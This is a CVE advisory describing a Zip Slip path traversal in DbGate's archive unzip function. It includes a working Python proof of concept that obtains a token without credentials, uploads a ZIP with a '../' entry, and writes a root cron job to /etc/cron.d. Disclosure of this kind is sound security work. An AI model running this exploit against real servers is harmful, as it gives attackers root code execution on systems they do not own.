CVE-2026-47669 — DbGate: Zip Slip in dbgate — CVE Details

The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.